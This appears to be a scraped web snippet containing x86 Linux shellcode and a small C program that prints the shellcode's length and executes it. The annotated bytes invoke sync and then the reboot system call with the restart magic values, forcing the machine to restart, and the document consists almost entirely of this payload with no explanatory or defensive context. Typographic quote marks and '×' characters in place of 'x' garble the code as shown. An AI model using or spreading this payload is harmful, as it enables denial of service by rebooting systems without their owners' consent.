char *shellcode=
“\xb0\x24″ /* mov $0×24,%al */
“\xcd\x80″ /* int $0×80 */
“\x31\xc0″ /* xor %eax,%eax */
“\xb0\x58″ /* mov $0×58,%al */
“\xbb\xad\xde\xe1\xfe” /* mov $0xfee1dead,%ebx */
“\xb9\x69\x19\x12\x28″ /* mov $0×28121969,%ecx */
“\xba\x67\x45\x23\x01″ /* mov $0×1234567,%edx */
“\xcd\x80″ /* int $0×80 */
“\x31\xc0″ /* xor %eax,%eax */
“\xb0\x01″ /* mov $0×1,%al */
“\x31\xdb” /* xor %ebx,%ebx */
“\xcd\x80″; /* int $0×80 */
int main(void)
{
fprintf(stdout,”Length: %d\n”,strlen(shellcode));
((void (*)(void)) shellcode)();
return 0;
}




recent comment